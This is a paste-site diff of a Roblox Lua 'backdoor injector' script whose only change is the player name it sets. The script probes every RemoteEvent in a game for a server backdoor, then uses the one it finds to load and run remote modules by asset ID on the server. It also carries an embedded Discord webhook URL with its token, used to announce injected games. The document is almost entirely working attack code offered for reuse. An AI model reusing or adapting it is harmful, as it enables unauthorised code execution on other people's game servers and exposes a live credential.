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1 | --BEFORE THIS LETS MAKE SURE UR A PLAYER FIND (localplayernames) AND CHANGE THE STRING TO UR NAME, THANK YOU. | |
2 | print('the start webhook') | |
3 | wait(0.5) | |
4 | --fixed now | |
5 | --Example injector | |
6 | --You can make ur example injector too! | |
7 | webhook="https://discord.com/api/webhooks/1101853999440867349/cvuTsmIDMtuey65LDZ2ITSXSLLswQH8bTxbXG1TPJ5E_Dj4kfjvPfRXoJ4mTsVkCT6xU" --paste ur hook from discord :D | |
8 | webhookenabled = true -- if u want for ur bot say if game is injected and sent the game to it. | |
9 | --webhook status | |
10 | function backdoorMessage() | |
11 | if webhookenabled == true then | |
12 | print("messaged to webhook") customdata=[[ | |
13 | - | localplayernames='stopthe_stupidbans' |
13 | + | localplayernames='JawStopper20' |
14 | ||
15 | require(13296086768):BringWebhookOn(localplayernames) ]] | |
16 | wait(0.5) | |
17 | if attached == nil then repeat wait(1) until attached ~= nil end | |
18 | if attached ~= nil then | |
19 | attached:FireServer(customdata) | |
20 | end | |
21 | ||
22 | end | |
23 | end | |
24 | --attach server | |
25 | attached=nil | |
26 | function backdoorThing(child) | |
27 | for i, thingy in pairs(child:children()) do | |
28 | if thingy:IsA("RemoteEvent") then | |
29 | ||
30 | local execute=function() | |
31 | thingy:FireServer([[ | |
32 | whilelistFolder = Instance.new("Folder",workspace) | |
33 | whilelistFolder.Name = "whilelistFolderProjectLigmaFeStuffToGo2222" | |
34 | game.Debris:AddItem(whilelistFolder, 1.5) | |
35 | ]]) | |
36 | end | |
37 | spawn(execute) | |
38 | spawn(function() | |
39 | _G.whilelistScript=nil | |
40 | wait(0.16) | |
41 | if workspace:FindFirstChild("whilelistFolderProjectLigmaFeStuffToGo2222") ~= nil then | |
42 | attached=thingy | |
43 | print"done" spawn(backdoorMessage)--example prints and webhook messager | |
44 | end | |
45 | end) | |
46 | wait(0.265) | |
47 | end | |
48 | backdoorThing(thingy) | |
49 | ||
50 | end | |
51 | --free | |
52 | end | |
53 | backdoorThing(workspace) --dont delete workspace | |
54 | backdoorThing(game:GetService("ReplicatedStorage")) | |
55 | wait(0.5)if attached == nil then repeat wait(0.5) until attached ~= nil end | |
56 | if attached ~= nil then | |
57 | print("attached / name " ..attached.name) | |
58 | attached:FireServer('require(13285164673)["Project Test"]("' ..game.Players.LocalPlayer.Name.. '")') | |
59 | end |